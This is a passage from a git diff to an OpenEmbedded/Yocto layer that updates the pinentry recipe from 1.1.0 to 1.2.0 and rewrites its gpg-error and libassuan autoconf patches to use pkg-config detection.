+INSANE_SKIP:${PN} = "dev-so"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-support/pinentry/pinentry-1.1.0/gpg-error_pkconf.patch b/meta/recipes-support/pinentry/pinentry-1.1.0/gpg-error_pkconf.patch
deleted file mode 100644
index 431edb0351..0000000000
--- a/meta/recipes-support/pinentry/pinentry-1.1.0/gpg-error_pkconf.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-Convert to pkg-config support to match changes done to
-the gpg-error recipe for gpg-error.pc generation.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
-Index: pinentry-1.0.0/m4/gpg-error.m4
-===================================================================
---- pinentry-1.0.0.orig/m4/gpg-error.m4
-+++ pinentry-1.0.0/m4/gpg-error.m4
-@@ -25,74 +25,12 @@ dnl config script does not match the hos
- dnl is added to the gpg_config_script_warn variable.
- dnl
- AC_DEFUN([AM_PATH_GPG_ERROR],
--[ AC_REQUIRE([AC_CANONICAL_HOST])
-- gpg_error_config_prefix=""
-- dnl --with-libgpg-error-prefix=PFX is the preferred name for this option,
-- dnl since that is consistent with how our three siblings use the directory/
-- dnl package name in --with-$dir_name-prefix=PFX.
-- AC_ARG_WITH(libgpg-error-prefix,
-- AC_HELP_STRING([--with-libgpg-error-prefix=PFX],
-- [prefix where GPG Error is installed (optional)]),
-- [gpg_error_config_prefix="$withval"])
--
-- dnl Accept --with-gpg-error-prefix and make it work the same as
-- dnl --with-libgpg-error-prefix above, for backwards compatibility,
-- dnl but do not document this old, inconsistently-named option.
-- AC_ARG_WITH(gpg-error-prefix,,
-- [gpg_error_config_prefix="$withval"])
--
-- if test x"${GPG_ERROR_CONFIG}" = x ; then
-- if test x"${gpg_error_config_prefix}" != x ; then
-- GPG_ERROR_CONFIG="${gpg_error_config_prefix}/bin/gpg-error-config"
-- else
-- case "${SYSROOT}" in
-- /*)
-- if test -x "${SYSROOT}/bin/gpg-error-config" ; then
-- GPG_ERROR_CONFIG="${SYSROOT}/bin/gpg-error-config"
-- fi
-- ;;
-- '')
-- ;;
-- *)
-- AC_MSG_WARN([Ignoring \$SYSROOT as it is not an absolute path.])
-- ;;
-- esac
-- fi
-- fi
--
-- AC_PATH_PROG(GPG_ERROR_CONFIG, gpg-error-config, no)
-+[
- min_gpg_error_version=ifelse([$1], ,0.0,$1)
-- AC_MSG_CHECKING(for GPG Error - version >= $min_gpg_error_version)
-- ok=no
-- if test "$GPG_ERROR_CONFIG" != "no" \
-- && test -f "$GPG_ERROR_CONFIG" ; then
-- req_major=`echo $min_gpg_error_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
-- req_minor=`echo $min_gpg_error_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)/\2/'`
-- gpg_error_config_version=`$GPG_ERROR_CONFIG $gpg_error_config_args --version`
-- major=`echo $gpg_error_config_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'`
-- minor=`echo $gpg_error_config_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\).*/\2/'`
-- if test "$major" -gt "$req_major"; then
-- ok=yes
-- else
-- if test "$major" -eq "$req_major"; then
-- if test "$minor" -ge "$req_minor"; then
-- ok=yes
-- fi
-- fi
-- fi
-- fi
-+ PKG_CHECK_MODULES(GPG_ERROR, [gpg-error >= $min_gpg_error_version gpg-error], [ok=yes], [ok=no])
- if test $ok = yes; then
-- GPG_ERROR_CFLAGS=`$GPG_ERROR_CONFIG $gpg_error_config_args --cflags`
-- GPG_ERROR_LIBS=`$GPG_ERROR_CONFIG $gpg_error_config_args --libs`
-- GPG_ERROR_MT_CFLAGS=`$GPG_ERROR_CONFIG $gpg_error_config_args --mt --cflags 2>/dev/null`
-- GPG_ERROR_MT_LIBS=`$GPG_ERROR_CONFIG $gpg_error_config_args --mt --libs 2>/dev/null`
-- AC_MSG_RESULT([yes ($gpg_error_config_version)])
- ifelse([$2], , :, [$2])
-- gpg_error_config_host=`$GPG_ERROR_CONFIG $gpg_error_config_args --host 2>/dev/null || echo none`
-+ gpg_error_config_host=`$PKG_CONFIG --host gpg-error 2>/dev/null || echo none`
- if test x"$gpg_error_config_host" != xnone ; then
- if test x"$gpg_error_config_host" != x"$host" ; then
- AC_MSG_WARN([[
-@@ -107,10 +45,6 @@ AC_DEFUN([AM_PATH_GPG_ERROR],
- fi
- fi
- else
-- GPG_ERROR_CFLAGS=""
-- GPG_ERROR_LIBS=""
-- GPG_ERROR_MT_CFLAGS=""
-- GPG_ERROR_MT_LIBS=""
- AC_MSG_RESULT(no)
- ifelse([$3], , :, [$3])
- fi
diff --git a/meta/recipes-support/pinentry/pinentry-1.1.0/libassuan_pkgconf.patch b/meta/recipes-support/pinentry/pinentry-1.1.0/libassuan_pkgconf.patch
deleted file mode 100644
index 11d564f35d..0000000000
--- a/meta/recipes-support/pinentry/pinentry-1.1.0/libassuan_pkgconf.patch
+++ /dev/null
@@ -1,153 +0,0 @@
-Convert to pkg-config support to match changes done to
-the libassuan recipe for libassuan.pc generation.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
-Index: pinentry-1.0.0/m4/libassuan.m4
-===================================================================
---- pinentry-1.0.0.orig/m4/libassuan.m4
-+++ pinentry-1.0.0/m4/libassuan.m4
-@@ -13,34 +13,8 @@ dnl
- dnl Common code used for libassuan detection [internal]
- dnl Returns ok set to yes or no.
- dnl
--AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
--[ AC_REQUIRE([AC_CANONICAL_HOST])
-- AC_ARG_WITH(libassuan-prefix,
-- AC_HELP_STRING([--with-libassuan-prefix=PFX],
-- [prefix where LIBASSUAN is installed (optional)]),
-- libassuan_config_prefix="$withval", libassuan_config_prefix="")
-- if test x$libassuan_config_prefix != x ; then
-- libassuan_config_args="$libassuan_config_args --prefix=$libassuan_config_prefix"
-- if test x${LIBASSUAN_CONFIG+set} != xset ; then
-- LIBASSUAN_CONFIG=$libassuan_config_prefix/bin/libassuan-config
-- fi
-- else
-- case "${SYSROOT}" in
-- /*)
-- if test -x "${SYSROOT}/bin/libassuan-config" ; then
-- LIBASSUAN_CONFIG="${SYSROOT}/bin/libassuan-config"
-- fi
-- ;;
-- '')
-- ;;
-- *)
-- AC_MSG_WARN([Ignoring \$SYSROOT as it is not an absolute path.])
-- ;;
-- esac
-- fi
--
-- AC_PATH_TOOL(LIBASSUAN_CONFIG, libassuan-config, no)
--
-+AC_DEFUN([AM_PATH_LIBASSUAN_COMMON],
-+[
- tmp=ifelse([$1], ,1:0.9.2,$1)
- if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
- req_libassuan_api=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\1/'`
-@@ -50,51 +24,11 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
- min_libassuan_version="$tmp"
- fi
-
-- AC_MSG_CHECKING(for LIBASSUAN - version >= $min_libassuan_version)
-- ok=no
-- if test "$LIBASSUAN_CONFIG" != "no" \
-- && test -f "$LIBASSUAN_CONFIG" ; then
-- req_major=`echo $min_libassuan_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
-- req_minor=`echo $min_libassuan_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\2/'`
-- req_micro=`echo $min_libassuan_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\3/'`
--
-- libassuan_config_version=`$LIBASSUAN_CONFIG --version`
-- major=`echo $libassuan_config_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'`
-- minor=`echo $libassuan_config_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\2/'`
-- micro=`echo $libassuan_config_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\3/'`
--
-- if test "$major" -gt "$req_major"; then
-- ok=yes
-- else
-- if test "$major" -eq "$req_major"; then
-- if test "$minor" -gt "$req_minor"; then
-- ok=yes
-- else
-- if test "$minor" -eq "$req_minor"; then
-- if test "$micro" -ge "$req_micro"; then
-- ok=yes
-- fi
-- fi
-- fi
-- fi
-- fi
-- fi
--
-- if test $ok = yes; then
-- AC_MSG_RESULT([yes ($libassuan_config_version)])
-- else
-- AC_MSG_RESULT(no)
-- fi
-+ PKG_CHECK_MODULES(LIBASSUAN_COMMON, [libassuan >= $min_libassuan_version libassuan], [ok=yes], [ok=no])
-
- if test $ok = yes; then
- if test "$req_libassuan_api" -gt 0 ; then
-- tmp=`$LIBASSUAN_CONFIG --api-version 2>/dev/null || echo 0`
-+ tmp=`$PKG_CONFIG --variable=api_version libassuan 2>/dev/null || echo 0`
- if test "$tmp" -gt 0 ; then
- AC_MSG_CHECKING([LIBASSUAN API version])
- if test "$req_libassuan_api" -eq "$tmp" ; then
-@@ -109,7 +43,7 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
-
- if test $ok = yes; then
- if test x"$host" != x ; then
-- libassuan_config_host=`$LIBASSUAN_CONFIG --host 2>/dev/null || echo none`
-+ libassuan_config_host=`$PKG_CONFIG --host libassuan 2>/dev/null || echo 0`
- if test x"$libassuan_config_host" != xnone ; then
- if test x"$libassuan_config_host" != x"$host" ; then
- AC_MSG_WARN([[
-@@ -132,7 +66,7 @@ dnl Test whether libassuan has at least
- dnl used to test for features only available in newer versions.
- dnl
- AC_DEFUN([AM_CHECK_LIBASSUAN],
--[ _AM_PATH_LIBASSUAN_COMMON($1)
-+[ AM_PATH_LIBASSUAN_COMMON($1)
- if test $ok = yes; then
- ifelse([$2], , :, [$2])
- else
-@@ -148,16 +82,10 @@ dnl [ACTION-IF-FOUND [
- dnl Test for libassuan and define LIBASSUAN_CFLAGS and LIBASSUAN_LIBS
- dnl
- AC_DEFUN([AM_PATH_LIBASSUAN],
--[ _AM_PATH_LIBASSUAN_COMMON($1)
-+[ AM_PATH_LIBASSUAN_COMMON($1)
- if test $ok = yes; then
-- LIBASSUAN_CFLAGS=`$LIBASSUAN_CONFIG $libassuan_config_args --cflags`
-- LIBASSUAN_LIBS=`$LIBASSUAN_CONFIG $libassuan_config_args --libs`
- ifelse([$2], , :, [$2])
- else
-- LIBASSUAN_CFLAGS=""
-- LIBASSUAN_LIBS=""
- ifelse([$3], , :, [$3])
- fi
-- AC_SUBST(LIBASSUAN_CFLAGS)
-- AC_SUBST(LIBASSUAN_LIBS)
- ])
-Index: pinentry-1.0.0/configure.ac
-===================================================================
---- pinentry-1.0.0.orig/configure.ac
-+++ pinentry-1.0.0/configure.ac
-@@ -266,8 +266,8 @@ if test "$have_libassuan" = "yes"; then
- [version of the libassuan library])
- fi
-
--COMMON_CFLAGS="$LIBASSUAN_CFLAGS $COMMON_CFLAGS"
--COMMON_LIBS="$LIBASSUAN_LIBS $COMMON_LIBS"
-+COMMON_CFLAGS="$LIBASSUAN_COMMON_CFLAGS $COMMON_CFLAGS"
-+COMMON_LIBS="$LIBASSUAN_COMMON_LIBS $COMMON_LIBS"
-
-
- dnl Checks for libsecmem.
diff --git a/meta/recipes-support/pinentry/pinentry-1.2.0/gpg-error_pkconf.patch b/meta/recipes-support/pinentry/pinentry-1.2.0/gpg-error_pkconf.patch
new file mode 100644
index 0000000000..507c0c3917
--- /dev/null
+++ b/meta/recipes-support/pinentry/pinentry-1.2.0/gpg-error_pkconf.patch
@@ -0,0 +1,195 @@
+From 54a4c9d3e5f1897ed4b978d5cdee646ca7a4f637 Mon Sep 17 00:00:00 2001
+From: Armin Kuster <akuster@mvista.com>
+Date: Fri, 2 Sep 2005 11:50:01 +0000
+Subject: [PATCH] Add gtk+, avahi, dbus-0.34 (.36 coming soon) and
+
+Convert to pkg-config support to match changes done to
+the gpg-error recipe for gpg-error.pc generation.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Armin Kuster <akuster@mvista.com>
+
+---
+ m4/gpg-error.m4 | 159 ++----------------------------------------------
+ 1 file changed, 4 insertions(+), 155 deletions(-)
+
+diff --git a/m4/gpg-error.m4 b/m4/gpg-error.m4
+index 56a5d07..c0bec1f 100644
+--- a/m4/gpg-error.m4
++++ b/m4/gpg-error.m4
+@@ -26,159 +26,12 @@ dnl config script does not match the host specification the script
+ dnl is added to the gpg_config_script_warn variable.
+ dnl
+ AC_DEFUN([AM_PATH_GPG_ERROR],
+-[ AC_REQUIRE([AC_CANONICAL_HOST])
+- gpg_error_config_prefix=""
+- dnl --with-libgpg-error-prefix=PFX is the preferred name for this option,
+- dnl since that is consistent with how our three siblings use the directory/
+- dnl package name in --with-$dir_name-prefix=PFX.
+- AC_ARG_WITH(libgpg-error-prefix,
+- AS_HELP_STRING([--with-libgpg-error-prefix=PFX],
+- [prefix where GPG Error is installed (optional)]),
+- [gpg_error_config_prefix="$withval"])
+-
+- dnl Accept --with-gpg-error-prefix and make it work the same as
+- dnl --with-libgpg-error-prefix above, for backwards compatibility,
+- dnl but do not document this old, inconsistently-named option.
+- AC_ARG_WITH(gpg-error-prefix,,
+- [gpg_error_config_prefix="$withval"])
+-
+- if test x"${GPG_ERROR_CONFIG}" = x ; then
+- if test x"${gpg_error_config_prefix}" != x ; then
+- GPG_ERROR_CONFIG="${gpg_error_config_prefix}/bin/gpg-error-config"
+- else
+- case "${SYSROOT}" in
+- /*)
+- if test -x "${SYSROOT}/bin/gpg-error-config" ; then
+- GPG_ERROR_CONFIG="${SYSROOT}/bin/gpg-error-config"
+- fi
+- ;;
+- '')
+- ;;
+- *)
+- AC_MSG_WARN([Ignoring \$SYSROOT as it is not an absolute path.])
+- ;;
+- esac
+- fi
+- fi
+-
+- AC_PATH_PROG(GPG_ERROR_CONFIG, gpg-error-config, no)
+- min_gpg_error_version=ifelse([$1], ,1.33,$1)
+- ok=no
+-
+- AC_PATH_PROG(GPGRT_CONFIG, gpgrt-config, no, [$prefix/bin:$PATH])
+- if test "$GPGRT_CONFIG" != "no"; then
+- # Determine gpgrt_libdir
+- #
+- # Get the prefix of gpgrt-config assuming it's something like:
+- # <PREFIX>/bin/gpgrt-config
+- gpgrt_prefix=${GPGRT_CONFIG%/*/*}
+- possible_libdir1=${gpgrt_prefix}/lib
+- # Determine by using system libdir-format with CC, it's like:
+- # Normal style: /usr/lib
+- # GNU cross style: /usr/<triplet>/lib
+- # Debian style: /usr/lib/<multiarch-name>
+- # Fedora/openSUSE style: /usr/lib, /usr/lib32 or /usr/lib64
+- # It is assumed that CC is specified to the one of host on cross build.
+- if libdir_candidates=$(${CC:-cc} -print-search-dirs | \
+- sed -n -e "/^libraries/{s/libraries: =//;s/:/\\
+-/g;p;}"); then
+- # From the output of -print-search-dirs, select valid pkgconfig dirs.
+- libdir_candidates=$(for dir in $libdir_candidates; do
+- if p=$(cd $dir 2>/dev/null && pwd); then
+- test -d "$p/pkgconfig" && echo $p;
+- fi
+- done)
+-
+- for possible_libdir0 in $libdir_candidates; do
+- # possible_libdir0:
+- # Fallback candidate, the one of system-installed (by $CC)
+- # (/usr/<triplet>/lib, /usr/lib/<multiarch-name> or /usr/lib32)
+- # possible_libdir1:
+- # Another candidate, user-locally-installed
+- # (<gpgrt_prefix>/lib)
+- # possible_libdir2
+- # Most preferred
+- # (<gpgrt_prefix>/<triplet>/lib,
+- # <gpgrt_prefix>/lib/<multiarch-name> or <gpgrt_prefix>/lib32)
+- if test "${possible_libdir0##*/}" = "lib"; then
+- possible_prefix0=${possible_libdir0%/lib}
+- possible_prefix0_triplet=${possible_prefix0##*/}
+- if test -z "$possible_prefix0_triplet"; then
+- continue
+- fi
+- possible_libdir2=${gpgrt_prefix}/$possible_prefix0_triplet/lib
+- else
+- possible_prefix0=${possible_libdir0%%/lib*}
+- possible_libdir2=${gpgrt_prefix}${possible_libdir0#$possible_prefix0}
+- fi
+- if test -f ${possible_libdir2}/pkgconfig/gpg-error.pc; then
+- gpgrt_libdir=${possible_libdir2}
+- elif test -f ${possible_libdir1}/pkgconfig/gpg-error.pc; then
+- gpgrt_libdir=${possible_libdir1}
+- elif test -f ${possible_libdir0}/pkgconfig/gpg-error.pc; then
+- gpgrt_libdir=${possible_libdir0}
+- fi
+- if test -n "$gpgrt_libdir"; then break; fi
+- done
+- else
+- # When we cannot determine system libdir-format, use this:
+- gpgrt_libdir=${possible_libdir1}
+- fi
+- else
+- unset GPGRT_CONFIG
+- fi
+-
+- if test -n "$gpgrt_libdir"; then
+- GPGRT_CONFIG="$GPGRT_CONFIG --libdir=$gpgrt_libdir"
+- if $GPGRT_CONFIG gpg-error >/dev/null 2>&1; then
+- GPG_ERROR_CONFIG="$GPGRT_CONFIG gpg-error"
+- AC_MSG_NOTICE([Use gpgrt-config with $gpgrt_libdir as gpg-error-config])
+- gpg_error_config_version=`$GPG_ERROR_CONFIG --modversion`
+- else
+- unset GPGRT_CONFIG
+- fi
+- elif test "$GPG_ERROR_CONFIG" != "no"; then
+- gpg_error_config_version=`$GPG_ERROR_CONFIG --version`
+- fi
+- if test "$GPG_ERROR_CONFIG" != "no"; then
+- req_major=`echo $min_gpg_error_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
+- req_minor=`echo $min_gpg_error_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)/\2/'`
+- major=`echo $gpg_error_config_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'`
+- minor=`echo $gpg_error_config_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\).*/\2/'`
+- if test "$major" -gt "$req_major"; then
+- ok=yes
+- else
+- if test "$major" -eq "$req_major"; then
+- if test "$minor" -ge "$req_minor"; then
+- ok=yes
+- fi
+- fi
+- fi
+- fi
+- AC_MSG_CHECKING(for GPG Error - version >= $min_gpg_error_version)
++[
++ min_gpg_error_version=ifelse([$1], ,0.0,$1)
++ PKG_CHECK_MODULES(GPG_ERROR, [gpg-error >= $min_gpg_error_version gpg-error], [ok=yes], [ok=no])
+ if test $ok = yes; then
+- GPG_ERROR_CFLAGS=`$GPG_ERROR_CONFIG --cflags`
+- GPG_ERROR_LIBS=`$GPG_ERROR_CONFIG --libs`
+- if test -z "$GPGRT_CONFIG"; then
+- GPG_ERROR_MT_CFLAGS=`$GPG_ERROR_CONFIG --mt --cflags 2>/dev/null`
+- GPG_ERROR_MT_LIBS=`$GPG_ERROR_CONFIG --mt --libs 2>/dev/null`
+- else
+- GPG_ERROR_MT_CFLAGS=`$GPG_ERROR_CONFIG --variable=mtcflags 2>/dev/null`
+- GPG_ERROR_MT_CFLAGS="$GPG_ERROR_CFLAGS${GPG_ERROR_CFLAGS:+ }$GPG_ERROR_MT_CFLAGS"
+- GPG_ERROR_MT_LIBS=`$GPG_ERROR_CONFIG --variable=mtlibs 2>/dev/null`
+- GPG_ERROR_MT_LIBS="$GPG_ERROR_LIBS${GPG_ERROR_LIBS:+ }$GPG_ERROR_MT_LIBS"
+- fi
+- AC_MSG_RESULT([yes ($gpg_error_config_version)])
+ ifelse([$2], , :, [$2])
+- if test -z "$GPGRT_CONFIG"; then
+- gpg_error_config_host=`$GPG_ERROR_CONFIG --host 2>/dev/null || echo none`
+- else
+- gpg_error_config_host=`$GPG_ERROR_CONFIG --variable=host 2>/dev/null || echo none`
+- fi
++ gpg_error_config_host=`$PKG_CONFIG --host gpg-error 2>/dev/null || echo none`
+ if test x"$gpg_error_config_host" != xnone ; then
+ if test x"$gpg_error_config_host" != x"$host" ; then
+ AC_MSG_WARN([[
+@@ -193,10 +46,6 @@ AC_DEFUN([AM_PATH_GPG_ERROR],
+ fi
+ fi
+ else
+- GPG_ERROR_CFLAGS=""
+- GPG_ERROR_LIBS=""
+- GPG_ERROR_MT_CFLAGS=""
+- GPG_ERROR_MT_LIBS=""
+ AC_MSG_RESULT(no)
+ ifelse([$3], , :, [$3])
+ fi
diff --git a/meta/recipes-support/pinentry/pinentry-1.2.0/libassuan_pkgconf.patch b/meta/recipes-support/pinentry/pinentry-1.2.0/libassuan_pkgconf.patch
new file mode 100644
index 0000000000..f4aec2d1c3
--- /dev/null
+++ b/meta/recipes-support/pinentry/pinentry-1.2.0/libassuan_pkgconf.patch
@@ -0,0 +1,170 @@
+From 26fb6c3faa27180c8ed9ada1728c3d8683a65f3a Mon Sep 17 00:00:00 2001
+From: Armin Kuster <akuster@mvista.com>
+Date: Thu, 22 May 2014 10:50:00 +0100
+Subject: [PATCH] libassuan: Improve pkgconfig support
+
+Convert to pkg-config support to match changes done to
+the libassuan recipe for libassuan.pc generation.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Armin Kuster <akuster@mvista.com>
+
+---
+ configure.ac | 4 +--
+ m4/libassuan.m4 | 93 ++++---------------------------------------------
+ 2 files changed, 9 insertions(+), 88 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index d8dcc0c..ca51766 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -267,8 +267,8 @@ if test "$have_libassuan" = "yes"; then
+ [version of the libassuan library])
+ fi
+
+-COMMON_CFLAGS="$LIBASSUAN_CFLAGS $COMMON_CFLAGS"
+-COMMON_LIBS="$LIBASSUAN_LIBS $COMMON_LIBS"
++COMMON_CFLAGS="$LIBASSUAN_COMMON_CFLAGS $COMMON_CFLAGS"
++COMMON_LIBS="$LIBASSUAN_COMMON_LIBS $COMMON_LIBS"
+
+
+ dnl Checks for libsecmem.
+diff --git a/m4/libassuan.m4 b/m4/libassuan.m4
+index df50484..2057412 100644
+--- a/m4/libassuan.m4
++++ b/m4/libassuan.m4
+@@ -15,30 +15,8 @@ dnl
+ dnl Common code used for libassuan detection [internal]
+ dnl Returns ok set to yes or no.
+ dnl
+-AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
+-[ AC_REQUIRE([AC_CANONICAL_HOST])
+- AC_ARG_WITH(libassuan-prefix,
+- AS_HELP_STRING([--with-libassuan-prefix=PFX],
+- [prefix where LIBASSUAN is installed (optional)]),
+- libassuan_config_prefix="$withval", libassuan_config_prefix="")
+- if test x$libassuan_config_prefix != x ; then
+- if test x${LIBASSUAN_CONFIG+set} != xset ; then
+- LIBASSUAN_CONFIG=$libassuan_config_prefix/bin/libassuan-config
+- fi
+- fi
+-
+- use_gpgrt_config=""
+- if test x"${LIBASSUAN_CONFIG}" = x -a x"$GPGRT_CONFIG" != x -a "$GPGRT_CONFIG" != "no"; then
+- if $GPGRT_CONFIG libassuan --exists; then
+- LIBASSUAN_CONFIG="$GPGRT_CONFIG libassuan"
+- AC_MSG_NOTICE([Use gpgrt-config as libassuan-config])
+- use_gpgrt_config=yes
+- fi
+- fi
+- if test -z "$use_gpgrt_config"; then
+- AC_PATH_PROG(LIBASSUAN_CONFIG, libassuan-config, no)
+- fi
+-
++AC_DEFUN([AM_PATH_LIBASSUAN_COMMON],
++[
+ tmp=ifelse([$1], ,1:0.9.2,$1)
+ if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
+ req_libassuan_api=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\1/'`
+@@ -48,58 +26,11 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
+ min_libassuan_version="$tmp"
+ fi
+
+- AC_MSG_CHECKING(for LIBASSUAN - version >= $min_libassuan_version)
+- ok=no
+- if test "$LIBASSUAN_CONFIG" != "no"; then
+- req_major=`echo $min_libassuan_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
+- req_minor=`echo $min_libassuan_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\2/'`
+- req_micro=`echo $min_libassuan_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\3/'`
+-
+- if test -z "$use_gpgrt_config"; then
+- libassuan_config_version=`$LIBASSUAN_CONFIG --version`
+- else
+- libassuan_config_version=`$LIBASSUAN_CONFIG --modversion`
+- fi
+- major=`echo $libassuan_config_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'`
+- minor=`echo $libassuan_config_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\2/'`
+- micro=`echo $libassuan_config_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\3/'`
+-
+- if test "$major" -gt "$req_major"; then
+- ok=yes
+- else
+- if test "$major" -eq "$req_major"; then
+- if test "$minor" -gt "$req_minor"; then
+- ok=yes
+- else
+- if test "$minor" -eq "$req_minor"; then
+- if test "$micro" -ge "$req_micro"; then
+- ok=yes
+- fi
+- fi
+- fi
+- fi
+- fi
+- fi
+-
+- if test $ok = yes; then
+- AC_MSG_RESULT([yes ($libassuan_config_version)])
+- else
+- AC_MSG_RESULT(no)
+- fi
++ PKG_CHECK_MODULES(LIBASSUAN_COMMON, [libassuan >= $min_libassuan_version libassuan], [ok=yes], [ok=no])
+
+ if test $ok = yes; then
+ if test "$req_libassuan_api" -gt 0 ; then
+- if test -z "$use_gpgrt_config"; then
+- tmp=`$LIBASSUAN_CONFIG --api-version 2>/dev/null || echo 0`
+- else
+- tmp=`$LIBASSUAN_CONFIG --variable=api_version 2>/dev/null || echo 0`
+- fi
++ tmp=`$PKG_CONFIG --variable=api_version libassuan 2>/dev/null || echo 0`
+ if test "$tmp" -gt 0 ; then
+ AC_MSG_CHECKING([LIBASSUAN API version])
+ if test "$req_libassuan_api" -eq "$tmp" ; then
+@@ -114,11 +45,7 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
+
+ if test $ok = yes; then
+ if test x"$host" != x ; then
+- if test -z "$use_gpgrt_config"; then
+- libassuan_config_host=`$LIBASSUAN_CONFIG --host 2>/dev/null || echo none`
+- else
+- libassuan_config_host=`$LIBASSUAN_CONFIG --variable=host 2>/dev/null || echo none`
+- fi
++ libassuan_config_host=`$PKG_CONFIG --host libassuan 2>/dev/null || echo 0`
+ if test x"$libassuan_config_host" != xnone ; then
+ if test x"$libassuan_config_host" != x"$host" ; then
+ AC_MSG_WARN([[
+@@ -141,7 +68,7 @@ dnl Test whether libassuan has at least MINIMUM-VERSION. This is
+ dnl used to test for features only available in newer versions.
+ dnl
+ AC_DEFUN([AM_CHECK_LIBASSUAN],
+-[ _AM_PATH_LIBASSUAN_COMMON($1)
++[ AM_PATH_LIBASSUAN_COMMON($1)
+ if test $ok = yes; then
+ ifelse([$2], , :, [$2])
+ else
+@@ -157,16 +84,10 @@ dnl [ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND ]]])
+ dnl Test for libassuan and define LIBASSUAN_CFLAGS and LIBASSUAN_LIBS
+ dnl
+ AC_DEFUN([AM_PATH_LIBASSUAN],
+-[ _AM_PATH_LIBASSUAN_COMMON($1)
++[ AM_PATH_LIBASSUAN_COMMON($1)
+ if test $ok = yes; then
+- LIBASSUAN_CFLAGS=`$LIBASSUAN_CONFIG --cflags`
+- LIBASSUAN_LIBS=`$LIBASSUAN_CONFIG --libs`
+ ifelse([$2], , :, [$2])
+ else
+- LIBASSUAN_CFLAGS=""
+- LIBASSUAN_LIBS=""
+ ifelse([$3], , :, [$3])
+ fi
+- AC_SUBST(LIBASSUAN_CFLAGS)
+- AC_SUBST(LIBASSUAN_LIBS)
+ ])
diff --git a/meta/recipes-support/pinentry/pinentry_1.1.0.bb b/meta/recipes-support/pinentry/pinentry_1.1.0.bb
deleted file mode 100644
index fb529d25d6..0000000000
--- a/meta/recipes-support/pinentry/pinentry_1.1.0.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-SUMMARY = "Collection of simple PIN or passphrase entry dialogs"
-DESCRIPTION = "\
- Pinentry is a collection of simple PIN or passphrase entry dialogs which \
- utilize the Assuan protocol as described by the aegypten project; see \
- http://www.gnupg.org/aegypten/ for details."
-
-HOMEPAGE = "http://www.gnupg.org/related_software/pinentry/index.en.html"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=cbbd794e2a0a289b9dfcc9f513d1996e"
-
-DEPENDS = "gettext-native libassuan libgpg-error"
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
- file://libassuan_pkgconf.patch \
- file://gpg-error_pkconf.patch \
-"
-
-SRC_URI[md5sum] = "3829315cb0a1e9cedc05ffe6def7a2c6"
-SRC_URI[sha256sum] = "68076686fa724a290ea49cdf0d1c0c1500907d1b759a3bcbfbec0293e8f56570"
-
-inherit autotools pkgconfig
-
-PACKAGECONFIG ??= "ncurses libcap"
-
-PACKAGECONFIG[ncurses] = "--enable-ncurses --with-ncurses-include-dir=${STAGING_INCDIR}, --disable-ncurses, ncurses"
-PACKAGECONFIG[libcap] = "--with-libcap, --without-libcap, libcap"
-PACKAGECONFIG[qt] = "--enable-pinentry-qt, --disable-pinentry-qt, qtbase-native qtbase"
-PACKAGECONFIG[gtk2] = "--enable-pinentry-gtk2, --disable-pinentry-gtk2, gtk+ glib-2.0"
-
-#To use libsecret, add meta-gnome
-PACKAGECONFIG[secret] = "--enable-libsecret, --disable-libsecret, libsecret"
-
-EXTRA_OECONF = " \
- --disable-rpath \
-"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/pinentry/pinentry_1.2.0.bb b/meta/recipes-support/pinentry/pinentry_1.2.0.bb
new file mode 100644
index 0000000000..169cac8965
